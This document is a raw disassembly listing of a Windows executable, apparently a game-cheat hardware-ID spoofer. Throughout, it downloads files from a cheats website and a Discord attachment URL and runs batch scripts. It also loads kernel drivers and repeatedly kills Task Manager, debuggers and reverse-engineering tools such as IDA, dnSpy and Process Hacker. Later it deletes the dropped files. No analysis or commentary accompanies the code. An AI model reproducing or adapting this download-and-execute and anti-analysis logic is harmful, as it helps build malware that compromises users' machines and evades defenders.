lea rdx, str.C:Program_FilesCommon_FilesSystem_adopngbypas.bat
lea rcx, [rsp + 0xdc30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xdc30]
call fcn.14005d8d0
mov qword [rsp + 0x6f8], rax
lea rcx, [rsp + 0xdc50]
call fcn.14005d8d0
mov qword [rsp + 0x700], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x6f8]
mov rdx, qword [rsp + 0x700]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adopngbypas.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
call fcn.14006ba20
call fcn.14006ba70
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocolbact.dll
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoinstallDriver.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdu.exe
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchangeids.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemdrives.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_registry.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_AMIFLDRV64.SYS
lea rcx, [rsp + 0xdc10]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystemAMIFLDRV64.SYS
lea rcx, [rsp + 0xdbf0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xdbf0]
call fcn.14005d8d0
mov qword [rsp + 0x708], rax
lea rcx, [rsp + 0xdc10]
call fcn.14005d8d0
mov qword [rsp + 0x710], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x708]
mov rdx, qword [rsp + 0x710]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_AMIDEWINx64.EXE
lea rcx, [rsp + 0xdbd0]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystemAMIDEWINx64.EXE
lea rcx, [rsp + 0xdbb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xdbb0]
call fcn.14005d8d0
mov qword [rsp + 0x718], rax
lea rcx, [rsp + 0xdbd0]
call fcn.14005d8d0
mov qword [rsp + 0x720], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x718]
mov rdx, qword [rsp + 0x720]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_volumeid64.exe
lea rcx, [rsp + 0xdb90]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystem_volumeid64.exe
lea rcx, [rsp + 0xdb70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xdb70]
call fcn.14005d8d0
mov qword [rsp + 0x728], rax
lea rcx, [rsp + 0xdb90]
call fcn.14005d8d0
mov qword [rsp + 0x730], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x728]
mov rdx, qword [rsp + 0x730]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xdb50]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xdb30]
call fcn.14005d9d0
lea rcx, [rsp + 0xdb30]
call fcn.14005d8d0
mov qword [rsp + 0x738], rax
lea rcx, [rsp + 0xdb50]
call fcn.14005d8d0
mov qword [rsp + 0x740], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x738]
mov rdx, qword [rsp + 0x740]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
